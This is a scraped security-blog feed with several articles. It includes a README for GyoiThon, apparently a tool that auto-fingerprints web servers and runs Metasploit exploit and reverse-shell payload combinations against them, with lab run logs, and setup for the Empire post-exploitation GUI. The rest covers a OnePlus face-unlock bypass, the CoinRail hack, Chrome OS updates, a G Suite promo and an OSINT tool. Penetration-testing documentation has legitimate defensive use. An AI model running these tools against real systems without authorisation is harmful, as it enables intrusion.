Quantcast
Channel: Hackers Online Club (HOC)
Viewing all 855 articles
Browse latest View live

OnePlus 6 Smartphone Face Detection System Easily Bypass By Simple Trick

$
0
0
OnePlus 6 Smartphone Face Detection System Easily Bypass By Simple Trick

OnePlus 6 Smartphone Face Detection System Easily Bypass By Simple Trick


OnePlus using facial recognition technology from china-based SenseTime. It is also working for CCTV face recognition for Chinese authorities.


The Company said the face recognition feature is designed as a convenience for users and admitting that passwords are the more secure than facial lock pattern. The new feature of OnePlus mobile devices is easy to unlock.

OnePlus 6 Smartphone Face Detection System Easily Bypass By Printed Picture of Smartphone User.

Twitter user @rikvduijn shows that how easy to bypass face unlock of OnePlus6, we just need printed picture of smartphone user. The bad thing that it is also working with black and white photos of the mobile phone owner.

It is not the first time that facial recognition can hacks. Previously it was discovered in Samsung Android smartphones too.

But when we talk about Apple iPhone X it quite difficult to bypass face recognition system. iPhone featured with 3D sensing camera with IR dot mapping to create a map of the face, but one of the security researchers have shown that with the 3D mask, it can be bypassed too.

GyoiThon: Next Generation Penetration Testing Tool Using Machine Learning

$
0
0
GyoiThon: Next Generation Penetration Testing Tool Using Machine Learning

GyoiThon is a Growing Penetration Testing Tool Using Machine Learning.


GyoiThon identifies the software installed on web server (OS, Middleware, Framework, CMS, etc...) based on the learning data. After that, it executes valid exploits for the identified software using Metasploit. Finally, it generates reports of scan results. GyoiThon executes the above processing automatically.

Processing steps


GyoiThon executes the above "Step1" - "Step4" fully automatically.
User's only operation is to input the top URL of the target web server in GyoiThon.

It is very easy!
You can identify vulnerabilities of the web servers without taking time and effort.

Processing flow

Step 1. Gather HTTP responses.
GyoiThon gathers several HTTP responses of target website while crawling.
The following are example of HTTP responses gathered by GyoiThon.

  • Example 1
HTTP/1.1 200 OK
Date: Tue, 06 Mar 2018 03:01:57 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Etag: "409ed-183-53c5f732641c0"
Content-Length: 15271

...snip...

  • Example 2
HTTP/1.1 200 OK
Date: Tue, 06 Mar 2018 06:56:17 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Set-Cookie: f00e68432b68050dee9abe33c389831e=0eba9cd0f75ca0912b4849777677f587;
path=/;
Content-Length: 37496

...snip...

  • Example.3
HTTP/1.1 200 OK
Date: Tue, 06 Mar 2018 04:19:19 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 11819

...snip...

 <script src="/core/misc/drupal.js?v=8.3.1"></script>

Step 2. Identify product name.

GyoiThon identifies product name installed on web server using following two methods.

1. Based on Machine Learning.
By using Machine Learning (Naive Bayes), GyoiThon identifies software based on a combination of slightly different features (Etag value, Cookie value, specific HTML tag etc.) for each software. Naive Bayes is learned using the training data which example below (Training data). Unlike the signature base, Naive Bayes is stochastically identified based on various features included in HTTP response when it cannot be identified software in one feature.
  • Example 1
Etag: "409ed-183-53c5f732641c0"

GyoiThon can identify the web server software Apache.
This is because GyoiThon learns features of Apache such as "Etag header value (409ed-183-53c5f732641c0). In our survey, Apache use combination of numeral and lower case letters as the Etag value. And, Etag value is separated 4-5 digits and 3-4 digits and 12 digits, final digit is 0 in many cases.
  • Example 2
Set-Cookie: f00e68432b68050dee9abe33c389831e=0eba9cd0f75ca0912b4849777677f587;

GyoiThon can identify the CMS Joomla!.
This is because GyoiThon learns features of Joomla! such as "Cookie name (f00e6 ... 9831e) " and "Cookie value (0eba9 ... 7f587). In our survey, Joomla! uses 32 lower case letters as the Cookie name and Cookie value in many cases.

Training data (One example)

  • Joomla! (CMS)
Set-Cookie: ([a-z0-9]{32})=[a-z0-9]{26,32};
Set-Cookie: [a-z0-9]{32}=([a-z0-9]{26,32});
...snip...
  • HeartCore (Japanese famous CMS)
Set-Cookie:.*=([A-Z0-9]{32});.*
<meta name=["'](author)["'] content=["']{2}.*
...snip...
  • Apache (Web server software)
Etag:.*".*-[0-9a-z]{3,4}-[0-9a-z]{13}")[\r\n]
...snip...

2. Based on String matching.
Of course, GyoiThon can identify software by string matching also used in traditional penetration test tools. Examples are shown below.

  • Example 3
<script src="/core/misc/drupal.js?v=8.3.1"></script>

GyoiThon can identify the CMS Drupal.
It is very easy.

Step 3. Exploit using Metasploit.
GyoiThon executes exploit corresponding to the identified software using Metasploit and it checks whether the software is affected by the vulnerability.



Running example
[*] exploit/multi/http/struts_code_exec_exception_delegator, target: 1, payload: linux/x86/shell/reverse_nonx_tcp, result: failure
[*] exploit/multi/http/struts_code_exec_exception_delegator, target: 1, payload: linux/x86/shell/reverse_tcp, result: failure
[*] exploit/multi/http/struts_code_exec_exception_delegator, target: 1, payload: linux/x86/shell/reverse_tcp_uuid, result: failure
[*] exploit/multi/http/struts_code_exec_exception_delegator, target: 1, payload: linux/x86/shell_bind_ipv6_tcp, result: failure
[*] exploit/multi/http/struts_code_exec_exception_delegator, target: 1, payload: linux/x86/shell_bind_tcp, result: failure

...snip...

[*] exploit/linux/http/apache_continuum_cmd_exec, target: 0, payload: generic/custom, result: failure
[*] exploit/linux/http/apache_continuum_cmd_exec, target: 0, payload: generic/debug_trap, result: failure
[*] exploit/linux/http/apache_continuum_cmd_exec, target: 0, payload: generic/shell_bind_tcp, result: failure
[*] exploit/linux/http/apache_continuum_cmd_exec, target: 0, payload: generic/shell_reverse_tcp, result: failure
[*] exploit/linux/http/apache_continuum_cmd_exec, target: 0, payload: generic/tight_loop, result: bingo!!

Step 4. Generate scan report.
GyoiThon generates a report that summarizes vulnerabilities.
Report's style is html.
  • Sample gyoithon_report

GyoiThon Demo.

Installation


  • Step 1. git clone GyoiThon's repository.

local@client:~$ git clone https://github.com/gyoisamurai/GyoiThon.git

  • Step 2. install required packages.

local@client:~$ cd GyoiThon
local@client:~$ pip install -r requirements.txt

Usage


  • Step 1. Initialize Metasploit DB

Firstly, you initialize metasploit db (postgreSQL) using msfdb command.

root@kali:~# msfdb init

  • Step 2. Launch Metasploit Framework

You launch Metasploit on the remote server that installed Metasploit Framework such as Kali Linux.

root@kali:~# msfconsole
______________________________________________________________________________
|                                                                              |
|                   METASPLOIT CYBER MISSILE COMMAND V4                        |
|______________________________________________________________________________|
     \\                                  /                      /
      \\     .                          /                      /            x
       \\                              /                      /
        \\                            /          +           /
         \\            +             /                      /
          *                        /                      /
                                  /      .               /
   X                             /                      /            X
                                /                     ###
                               /                     # % #
                              /                       ###
                     .       /
    .                       /      .            *           .
                           /
                          *
                 +                       *

                                      ^
####      __     __     __          #######         __     __     __        ####
####    /    \\ /    \\ /    \\      ###########     /    \\ /    \\ /    \\      ####
################################################################################
################################################################################
# WAVE 4 ######## SCORE 31337 ################################## HIGH FFFFFFFF #
################################################################################
                                                          https://metasploit.com


      =[ metasploit v4.16.15-dev                         ]
+ -- --=[ 1699 exploits - 968 auxiliary - 299 post        ]
+ -- --=[ 503 payloads - 40 encoders - 10 nops            ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf >

  • Step 3 Launch RPC Server

You launch RPC Server of Metasploit following.

msf> load msgrpc ServerHost=192.168.220.144 ServerPort=55553 User=test Pass=test1234
[*] MSGRPC Service: 192.168.220.144:55553
[*] MSGRPC Username: test
[*] MSGRPC Password: test1234
[*] Successfully loaded plugin: msgrpc

msgrpc optionsdescription
ServerHost >IP address of your server that launched Metasploit. Above example is 192.168.220.144.
ServerPort >Any port number of your server that launched Metasploit. Above example is 55553.
User >Any user name using authentication (default => msf). Above example is test.
PassAny password using authentication (default => random string). Above example is test1234.

  • Step 4      Edit config file.

You have to change following value in config.ini
...snip...

[GyoiExploit]
server_host      : 192.168.220.144
server_port      : 55553
msgrpc_user      : test
msgrpc_pass      : test1234
timeout          : 10
LHOST            : 192.168.220.144
LPORT            : 4444

...snip...

Config Description
server_hostIP address of your server that launched Metasploit. Your setting value ServerHost in Step2.
server_portAny port number of your server that launched Metasploit. Your setting value ServerPort in Step2.
msgrpc_userMetasploit's user name using authentication. Your setting value User in Step2.
msgrpc_passMetasploit's password using authentication. Your setting value Pass in Step2.
LHOSTIP address of your server that launched Metasploit. Your setting value ServerHost in Step2.

  • Step 5 Edit target file.

GyoiThon accesses target server using host.txt
So, you have to edit host.txt before executing GyoiThon.

sample of host.txt
target server => 192.168.220.148
target port => 80
target path => /oscommerce/catalog/
192.168.220.148 80 /oscommerce/catalog/

You have to separate IP address, port number and target path using single space.

Note
Current gyoithon.py is provisional version that without crawling function. We'll add crawling functionality to GyoiThon coming soon. Then, target path will be unnecessary.

  • Step 6 Run GyoiThon

You execute GyoiThon following command.
local@client:~$ python gyoithon.py


  • Step 7 Check scan report

Please check scan report using any web browser.

local@client:~$ firefox "gyoithon root path"/classifier4gyoithon/report/gyoithon_report.html

Tips

1. How to add string matching patterns.
signatures path includes four files corresponding to each product categories.

local@client:~$ ls "gyoithon root path"/signatures/
signature_cms.txt
signature_framework.txt
signature_os.txt
signature_web.txt

  • signature_cms.txt

It includes string matching patterns of CMS.

  • signature_framework.txt

It includes string matching patterns of FrameWork.

  • signature_os.txt

It includes string matching patterns of Operating System.

  • signature_web.txt

It includes string matching patterns of Web server software.

If you want to add new string matching patterns, you add new string matching patterns at last line in each file.

ex) How to add new string matching pattern of CMS at signature_cms.txt.

tikiwiki@(Powered by TikiWiki)
wordpress@<.*=(.*/wp-).*/.*>
wordpress@(<meta name="generator" content="WordPress).*>

...snip...

typo@.*(href="fileadmin/templates/).*>
typo@(<meta name="generator" content="TYPO3 CMS).*>
"new product name"@"regex pattern"
[EOF]

Note
Above new product name must be a name that Metasploit can identify. And you have to separate new product name and regex pattern using @.

2. How to add learning data.
signatures path includes four files corresponding to each product categories.

local@client:~$ ls "gyoithon root path"/classifier4gyoithon/train_data/
train_cms_in.txt
train_framework_in.txt
train_os_in.txt
train_web_in.txt

  • train_cms_in.txt

It includes learning data of CMS.

  • train_framework_in.txt

It includes learning data of FrameWork.

  • train_os_in.txt

It includes learning data of Operating System.

  • train_web_in.txt

It includes learning data of Web server software.

If you want to add new learning data, you add learning data at last line in each file.

ex) How to add new learning data of CMS at train_cms_in.txt.

joomla@(Set-Cookie: [a-z0-9]{32}=.*);
joomla@(Set-Cookie: .*=[a-z0-9]{26,32});

...snip...

xoops@(xoops\.js)
xoops@(xoops\.css)
"new product name"@"regex pattern"
[EOF]

Note
Above new product name must be a name that Metasploit can identify. And you have to separate new product name and regex pattern using @.

In addition, since GyoiThon retrains with new training data, you have to delete old training data (*.pkl).

local@client:~$ ls "gyoithon root path"/classifier4gyoithon/trained_data/
train_cms_out.pkl
train_framework_out.pkl
train_web_out.pkl
local@client:~$ rm "gyoithon root path"/classifier4gyoithon/trained_data/*.pkl

3. How to change "Exploit module's option".

When GyoiThon exploits, it uses default value of Exploit module options.
If you want to change option values, please input any value to "user_specify" in exploit_tree.json as following.

"unix/webapp/joomla_media_upload_exec": {
    "targets": {
        "0": [
            "generic/custom",
            "generic/shell_bind_tcp",
            "generic/shell_reverse_tcp",

...snip...

        "TARGETURI": {
            "type": "string",
            "required": true,
            "advanced": false,
            "evasion": false,
            "desc": "The base path to Joomla",
            "default": "/joomla",
            "user_specify": "/my_original_dir/"
        },

Above example is to change value of TARGETURI option in exploit module "exploit/unix/webapp/joomla_media_upload_exec" to "/my_original_dir/" from "/joomla".

4. How to use each instance.

GyoiClassifier.py

You can use the log "webconf.csv" gathered by GyoiThon or the log gathered by GyoiClassifier to identify products operated on the target server. Then, the product is identified using machine learning.

Usage (using webconf.csv)
GyoiClassifier identifies product name using webconf.csv.
local@client:~$ python GyoiClassifier.py -h
GyoiClassifier.py

Usage:

    GyoiClassifier.py (-t <ip_addr> | --target <ip_addr>) (-p <port> | --port <port>) (-v <vhost> | --vhost <vhost>) [(-u <url> | --url <url>)]
    GyoiClassifier.py -h | --help

Options:
    -t --target   Require  : IP address of target server.
    -p --port       Require  : Port number of target server.
    -v --vhost    Require  : Virtual Host of target server.
    -u --url        Optional : Full URL for direct access.
    -h --help   Optional : Show this screen and exit.

local@client:~$ python GyoiClassifier.py -t 192.168.220.148 -p 80 -v 192.168.220.148

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  ███╗   ███╗ █████╗  ██████╗██╗  ██╗██╗███╗   ██╗███████╗
  ████╗ ████║██╔══██╗██╔════╝██║  ██║██║████╗  ██║██╔════╝
  ██╔████╔██║███████║██║     ███████║██║██╔██╗ ██║█████╗
  ██║╚██╔╝██║██╔══██║██║     ██╔══██║██║██║╚██╗██║██╔══╝
  ██║ ╚═╝ ██║██║  ██║╚██████╗██║  ██║██║██║ ╚████║███████╗
  ╚═╝     ╚═╝╚═╝  ╚═╝ ╚═════╝╚═╝  ╚═╝╚═╝╚═╝  ╚═══╝╚══════╝

 ██╗     ███████╗ █████╗ ██████╗ ███╗   ██╗██╗███╗   ██╗ ██████╗
 ██║     ██╔════╝██╔══██╗██╔══██╗████╗  ██║██║████╗  ██║██╔════╝
 ██║     █████╗  ███████║██████╔╝██╔██╗ ██║██║██╔██╗ ██║██║  ███╗
 ██║     ██╔══╝  ██╔══██║██╔══██╗██║╚██╗██║██║██║╚██╗██║██║   ██║
 ███████╗███████╗██║  ██║██║  ██║██║ ╚████║██║██║ ╚████║╚██████╔╝
 ╚══════╝╚══════╝╚═╝  ╚═╝╚═╝  ╚═╝╚═╝  ╚═══╝╚═╝╚═╝  ╚═══╝ ╚═════╝
      __      _   _      _   _                 _        _
     / /  ___| |_( )__  | |_| |__   ___  _ __ | |_ __ _| | __
    / /  / _ \ __|/ __| | __| '_ \ / _ \| '_ \| __/ _` | |/ /
   / /__|  __/ |_ \__ \ | |_| | | | (_) | | | | || (_| |   <
   \____/\___|\__||___/  \__|_| |_|\___/|_| |_|\__\__,_|_|\_
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
by GyoiClassifier.py

------------------------------------------
target     : 192.168.220.148(192.168.220.148):80
target log : "gyoithon root path"../gyoithon\get_192.168.220.148_80_ip.log

[+] judge :
[-] category : web server
    product  : unknown
    too low maximum probability.
[-] category : framework
    product  : unknown
    too low maximum probability.
[-] category : cms
    -----
    ranking 1
    product     : heartcore
    probability : 6.8966 %
    reason      : [['Set-Cookie: PHPSESSID=44ec9b66c633a7abc374e5f9a4ad4be3', 'Set-Cookie:  PHPSESSID=b1f9a2c2be74f3b3507d5cbb8ea78c75']]
    -----
    ranking 2
    product     : oscommerce
    probability : 6.8966 %
    reason      : [['Set-Cookie: PHPSESSID=44ec9b66c633a7abc374e5f9a4ad4be3', 'Set-Cookie: PHPSESSID=b1f9a2c2be74f3b3507d5cbb8ea78c75']]
    -----
    ranking 3
    product     : joomla
    probability : 6.6667 %
    reason      : [['Set-Cookie: PHPSESSID=44ec9b66c633a7abc374e5f9a4ad4be3', 'Set-Cookie: PHPSESSID=b1f9a2c2be74f3b3507d5cbb8ea78c75']]
------------------------------------------

[+] done GyoiClassifier.py
GyoiClassifier.py finish!!

  • Usage (using self-gathered log)


GyoiClassifier identifies product name using self-gathered log.

local@client:~$ python GyoiClassifier.py -t 192.168.220.129 -p 80 -v www.example.com -u http://www.example.com/

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  ███╗   ███╗ █████╗  ██████╗██╗  ██╗██╗███╗   ██╗███████╗
  ████╗ ████║██╔══██╗██╔════╝██║  ██║██║████╗  ██║██╔════╝
  ██╔████╔██║███████║██║     ███████║██║██╔██╗ ██║█████╗
  ██║╚██╔╝██║██╔══██║██║     ██╔══██║██║██║╚██╗██║██╔══╝
  ██║ ╚═╝ ██║██║  ██║╚██████╗██║  ██║██║██║ ╚████║███████╗
  ╚═╝     ╚═╝╚═╝  ╚═╝ ╚═════╝╚═╝  ╚═╝╚═╝╚═╝  ╚═══╝╚══════╝

 ██╗     ███████╗ █████╗ ██████╗ ███╗   ██╗██╗███╗   ██╗ ██████╗
 ██║     ██╔════╝██╔══██╗██╔══██╗████╗  ██║██║████╗  ██║██╔════╝
 ██║     █████╗  ███████║██████╔╝██╔██╗ ██║██║██╔██╗ ██║██║  ███╗
 ██║     ██╔══╝  ██╔══██║██╔══██╗██║╚██╗██║██║██║╚██╗██║██║   ██║
 ███████╗███████╗██║  ██║██║  ██║██║ ╚████║██║██║ ╚████║╚██████╔╝
 ╚══════╝╚══════╝╚═╝  ╚═╝╚═╝  ╚═╝╚═╝  ╚═══╝╚═╝╚═╝  ╚═══╝ ╚═════╝
     __      _   _      _   _                 _        _   
    / /  ___| |_( )__  | |_| |__   ___  _ __ | |_ __ _| | __
   / /  / _ \ __|/ __| | __| '_ \ / _ \| '_ \| __/ _` | |/ /
  / /__|  __/ |_ \__ \ | |_| | | | (_) | | | | || (_| |   <
  \____/\___|\__||___/  \__|_| |_|\___/|_| |_|\__\__,_|_|\_
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
by GyoiClassifier.py

------------------------------------------
target     : http://www.example.com/
target log : not use

[+] judge :
[-] category : web server
    product  : unknown
    too low maximum probability.
[-] category : framework
    -----
    ranking 1
    product     : php
    probability : 66.6667 %
    reason      : [['Set-Cookie: f00e68432b68050dee9abe33c389831e=a3daf0eba60a5f11c95e4563c4eccebe']]
[-] category : cms
    -----
    ranking 1
    product     : joomla
    probability : 13.3333 %
    reason      : [['Set-Cookie: f00e68432b68050dee9abe33c389831e=a3daf0eba60a5f11c95e4563c4eccebe; path=/'], ['Set-Cookie: f00e68432b68050dee9abe33c389831e=a3daf0eba60a5f11c95e4563c4eccebe'], ['Joomla!']]
    -----
    ranking 2
    product     : heartcore
    probability : 6.8966 %
    reason      : [['Set-Cookie: f00e68432b68050dee9abe33c389831e=a3daf0eba60a5f11c95e4563c4eccebe']]
------------------------------------------

[+] done GyoiClassifier.py
GyoiClassifier.py finish!!

optionrequireddescription
-t, --targetyesIP address of target server.
-p, --portyesTarget port number.
-v, --vhostyesVirtual host of target server. If target server hasn't virtual host, you indicate IP address.
-u, --urlnoURL of target server. If you want to gather newly logs of any server, indicate url of target server.

GyoiExploit.py

You can execute exploits thoroughly using all combinations of "Exploit module", "Target" and "Payload" of Metasploit corresponding to user's indicated product name and port number.

  • Usage


local@client:~$ python GyoiExploit.py -h
GyoiExploit.py
Usage:
    GyoiExploit.py (-t <ip_addr> | --target <ip_addr>) (-p <port> | --port <port>) (-s <service> | --service <service>)
    GyoiExploit.py -h | --help

Options:
    -t --target   Require  : IP address of target server.
    -p --port     Require  : Port number of target server.
    -s --service  Require  : Service name (product name).
    -h --help     Optional : Show this screen and exit.

local@client:~$ python GyoiExploit.py -t 192.168.220.145 -p 3306 -s mysql

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  ███████╗██╗  ██╗██████╗ ██╗      ██████╗ ██╗████████╗██╗██╗
  ██╔════╝╚██╗██╔╝██╔══██╗██║     ██╔═══██╗██║╚══██╔══╝██║██║
  █████╗   ╚███╔╝ ██████╔╝██║     ██║   ██║██║   ██║   ██║██║
  ██╔══╝   ██╔██╗ ██╔═══╝ ██║     ██║   ██║██║   ██║   ╚═╝╚═╝
  ███████╗██╔╝ ██╗██║     ███████╗╚██████╔╝██║   ██║   ██╗██╗
  ╚══════╝╚═╝  ╚═╝╚═╝     ╚══════╝ ╚═════╝ ╚═╝   ╚═╝   ╚═╝╚═╝
    __      _   _      _   _                 _        _
   / /  ___| |_( )__  | |_| |__   ___  _ __ | |_ __ _| | __
  / /  / _ \ __|/ __| | __| '_ \ / _ \| '_ \| __/ _` | |/ /
 / /__|  __/ |_ \__ \ | |_| | | | (_) | | | | || (_| |   <
 \____/\___|\__||___/  \__|_| |_|\___/|_| |_|\__\__,_|_|\_
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
by GyoiExploit.py

[+] Get exploit list.
[*] Loading exploit list from local file: C:\Users\i.takaesu\Documents\GitHub\GyoiThon\classifier4gyoithon\data\exploit_list.csv
[+] Get exploit tree.
[*] Loading exploit tree from local file: C:\Users\i.takaesu\Documents\GitHub\GyoiThon\classifier4gyoithon\data\exploit_tree.json
[*] exploit/linux/mysql/mysql_yassl_getname, target: 0, payload: generic/custom, result: failure
[*] exploit/linux/mysql/mysql_yassl_getname, target: 0, payload: generic/debug_trap, result: failure
[*] exploit/linux/mysql/mysql_yassl_getname, target: 0, payload: generic/shell_bind_tcp, result: bingo!!
[*] exploit/linux/mysql/mysql_yassl_getname, target: 0, payload: generic/shell_reverse_tcp, result: failure
[*] exploit/linux/mysql/mysql_yassl_getname, target: 0, payload: generic/tight_loop, result: failure

...snip...

[*] exploit/linux/mysql/mysql_yassl_getname, target: 1, payload: linux/x86/shell_bind_tcp_random_port, result: failure
[*] exploit/linux/mysql/mysql_yassl_getname, target: 1, payload: linux/x86/shell_reverse_tcp, result: failure
[*] exploit/linux/mysql/mysql_yassl_hello, target: 0, payload: generic/custom, result: failure
[*] exploit/linux/mysql/mysql_yassl_hello, target: 0, payload: generic/debug_trap, result: bingo!!
[*] exploit/linux/mysql/mysql_yassl_hello, target: 0, payload: generic/shell_bind_tcp, result: failure

...snip...

optionrequireddescription
-t, --targetyesIP address of target server.
-p, --portyesTarget port number.
-s, --serviceyesTarget service name identifiable by Metasploit.

If you want to change "exploit module" options, please refer this section [3. How to change "Exploit module's option"].

Operation check environment


  1. Kali Linux 2017.3 (for Metasploit)


  • Memory: 8.0GB
  • Metasploit Framework 4.16.15-dev


     2. Ubuntu 16.04 LTS (Host OS)



  • CPU: Intel(R) Core(TM) i5-5200U 2.20GHz
  • Memory: 8.0GB
  • Python 3.6.1(Anaconda3)
  • docopt 0.6.2
  • jinja2 2.10
  • msgpack-python 0.4.8
  • pandas 0.20.3


Download GyoiThon

Empire Multiuser GUI - A Graphical Interface To The Empire Post-Exploitation Framework

$
0
0
Empire Multiuser GUI - A Graphical Interface To The Empire Post-Exploitation Framework

The Empire Multiuser GUI is a graphical interface to the Empire post-exploitation Framework. 

It was written in Electron and utilizes websockets (SocketIO) on the backend to support multiuser interaction. The main goal of this project is to enable red teams, or any other color team, to work together on engagements in a more seamless and integrated way than using Empire as a command line tool.

This is a BETA release and does not have all the functionality of the full Empire Framework. The goal is to get community involvement early on to help fix bugs before adding in many of the bells and whistles. The main interaction with Agents at this point is soley through a shell prompt. The next release will have Module support, etc.

Features


  • Multiplatorm Support (OSX,Window,Linux)
  • Traffic over HTTPS
  • User Authentication
  • Multiuser Support
  • Agent Shell Interaction

Installation


  1. Checkout this repo to a folder on your system
  2. Install NodeJS (NPM) here
  3. Start your Empire Server


  • Install the Empire Framework
  • Switch to the 3.0-Beta branch git checkout 3.0-Beta
  • Setup your listeners and generate stagers (as this is not yet supported in the GUI)
  • Start the server with your password ./empire --server --shared_password ILikePasswords --port 1337

      4. Run the following commands from your EmpireGUI directory

  • npm install
  • npm start

     5. Login to the Empire!

Download Empire GUI

Google Chrome OS Update And Fixes Security Patch

$
0
0
Google Chrome OS Update And Fixes Security Patch


Google Chrome OS Updates And Fixes Security Patch

Google announces its chrome OS 67.0.3396.78 version with new features and fixes critical Bugs.


The new OS 67 version of  Chrome OS also released the updates for Progressive Web Apps (PWAs). PWAs feature with regular native apps including web push notifications, service workers and more on chrome OS home screen.

The Chrome OS 67 release continues with Google sites isolation security feature that offers additional protection against some types of security bugs.  It makes it harder for untrusted websites to access or steal information from your accounts on other websites.

According to Google release,

The Stable channel has been updated to 67.0.3396.78 (Platform version: 10575.54.0) for most Chrome OS devices. This build contains a number of bug fixes and security updates. Systems will be receiving updates over the next several days.

New Features


  • Android Debug Bridge support over USB in developer mode
  • Progressive Web Apps can now be installed as stand-alone apps
  • Extend Chrome page zoom to Google Play Apps
  • Visual update for ext4 filesystem migration
  • Feedback reports on sign-in screen
  • Cleaner improved Bluetooth list
  • Touchable material 2.0 Chrome for tablet devices
  • Select-to-Speak ability to select specific text to be read aloud
  • Inline touchable folders in launcher
  • Split Screen support in Tablet mode
  • Support for zipping files on Drive via the Files app
  • Power menu shortcuts when holding the power button
  • Detachable base swap detection

How to update?

As Google mentioned, that it will update in coming days. To check your updates on chromebook . Open Chrome settings and go to Chrome OS, there you can see the updates of your Version.

G Suite - A Cloud-Based Productivity Suite of Google Product

$
0
0
G Suite - A Cloud-Based Productivity Suite of Google Product

G Suite- A Cloud-Based Productivity Suite of Google Product



G Suite is a cloud-based productivity suite that includes Gmail for professional email, Drive for online storage, Hangouts for video meetings, Calendar for scheduling and Docs for editing files. 


G Suite (formerly Google Apps for Work and Google Apps for Your Domain) is a brand of cloud computing, productivity and collaboration tools, software and products developed by Google.

I especially like how easy it is to get things done and work with others from any location, using any device. I've also found G Suite to be highly cost-effective.

What is G Suite?

G Suite is a cloud-based productivity suite that helps teams communicate, collaborate and get things done from anywhere and on any device. It's simple to set up, use and manage, so your business can focus on what really matters. G-Suite to be highly cost-effective.

Millions of organizations around the world count on G Suite for professional email, file storage, video meetings, online calendars, document editing and more.

If you’re interested in trying G Suite for free for 14 days, check out this link

Use HackersOnlineClub Promotional offer code "J4RR4R3U9KGEKL6" or "Y4P4N67KDGFDLR3" provides 20 percent off for the first year.

These are some highlights:

  • Business email for your domain

Looking professional matters, and that means communicating as you@yourcompany.com. Gmail’s simple, powerful features help you build your brand while getting more done.


  • Access from any location or device

Check emails, share files, edit documents, hold video meetings and more, whether you’re at work, at home or in transit. You can pick up where you left off from a computer, tablet or phone.


  • Enterprise-level management tools

Robust admin settings give you total command over users, devices, security and more. Your data always belongs to you, and it goes with you, if you switch solutions.

Watch a video or find out more here.

South Korean Cryptocurrency Exchange Hacked Lose In Million of Dollars

$
0
0
South Korean Cryptocurrency Exchange Hacked Lose In Million of Dollars


South Korean Cryptocurrency Exchange Hacked Lose In Million of Dollars


The South Korean Cryptocurrency Exchange 'CoinRail' Hacked and Lose in $42 Million. The company wallet address has linked to an cyber attacker and stole $42 Million worth of cryptocurrency.


According to recent CyberSecurity report, more than 1 Billion dollar worth of cryptocurrency has been hacked in the first half of this year.

People are panic selling their alt coins after the Bitcoin price down, it might be the reason of Bitcoin Price is downtrend to a two-month low price.

You can see the real time Market updates here 

The company website has suspended its services after the cyber attack on its exchange. In the statement said,

"Hello, this is coin rail. 
On June 10, there was a system check due to the hacking attempt at dawn.

At present, we have confirmed that 70% of the coin rail total coin / token reserves are safely stored 
I moved to a cold wallet and it's being saved. 
Two-thirds of the coins confirmed to have been leaked are covered by freezing / recalling through consultation with each coach and related exchanges. The remaining one-third of coins are being investigated with investigators, relevant exchanges and coin developers.

Among the spilled coins, the token that has been completed is shown below.
• Fundus X (NPXS), Aston (ATX), and Enper (NPER): Freeze 
All assets of CoinRail, which have not been leaked, are moved to a cold wallet and are kept safe, and transactions and withdrawals will resume after stabilizing the service. We will update the announcement when possible.

The exact damage of the leaked coin / token is currently being confirmed, which may require some time to be taken with the coin. Also, please understand that all related matters are difficult to share all progress to exclude all possibilities that may interfere with the investigation due to investigation by police agencies.

Coin Rail is committed to maximizing the protection of your assets, minimizing the damage and recovery, and cooperating with criminal investigation agencies in order to catch hackers as criminal measures. At the same time, keep in close contact with the coin developers and follow up We are discussing. The updated contents will be announced on the homepage continuously.

I will apologize for any inconvenience, and I will do my utmost to resolve it sooner. Once again, I sincerely apologize.

Thank you. 
Coin rail dream"

It is the biggest cyber attack on crypto exchanges after CoinCheck, which was hacked earlier this year. According to Google trends, Bitcoin search volume is 75 percent down as comparison to last year.

HOC is arising question here, how these exchanges are more secure, people are investing their lifetime money with trust. But after one by one exchanges are getting hacked. Crypto exchanges should be start Bug Bounty program to secure their website.

Omnibus - Open Source Information Gathering Tool For Intelligence Collection Research And Artifact Management

$
0
0
Omnibus - Open Source Intelligence Collection Research And Artifact Management


Omnibus - Open Source Information Gathering Tool For Intelligence Collection, Research And Artifact Management


An Omnibus is defined as a volume containing several novels or other items previously published separately and that is exactly what the InQuest Omnibus project intends to be for Open Source Intelligence collection, research, and artifact management.

By providing an easy to use interactive command line application, users are able to create sessions to investigate various artifacts such as IP addresses, domain names, email addresses, usernames, file hashes, Bitcoin addresses, and more as we continue to expand.

This project has taken motivation from the greats that came before it such as SpiderFoot, Harpoon, and DataSploit. Much thanks to those great authors for contributing to the world of open source.

The application is written with Python 2.7 in mind and has been successfully tested on OSX and Ubuntu 16.04 environments.

As this is a pre-release of the final application, there will very likely be some bugs and uncaught exceptions or other weirdness during usage. Though for the most part, it is fully functional and can be used to begin OSINT investigations right away.


Contribution

Omnibus is built in a modular manner that allows the easy addition, or removal, of OSINT plugins. Each module is included in a single directory, and by adding a few lines of code, your module could be the next one!

As this README and the Wiki continues to grow, we will have full-fledged examples of how to write custom plugins and get them in as Pull Requests!


Vocabulary

Before we begin we'll need to cover some terminology used by Omnibus.
  • Artifact:
  1. An item to investigate
  2. Artificats can be created in two ways:
Using the new command or by being discoverd through module execution
  • Session:
  1. Cache of artifacts created after starting the Omnibus CLI
  2. Each artifact in a session is given an ID to quickly identify and retrieve the artifact from the cache
  3. Commands can be executed against an artifact either by providing it's name or it's corresponding session ID
  • Module:
  1. Python script that performs some arbitirary OSINT task against an artifact

Running Omnibus

Starting up Omnibus for investigation is a simple as cloning this GitHub repository, installing the Python requirements using pip install -r requirements.txt and running python2.7 omnibus-cli.py.

API Keys

You must set any API keys you'd like to use within modules inside the omnibus/etc/apikeys.json file. This file is a JSON ocument with placeholders for all the services which require API keys, and is only accessed by Omnibus on a per module basis to retrieve the exact API key a module needs to execute.

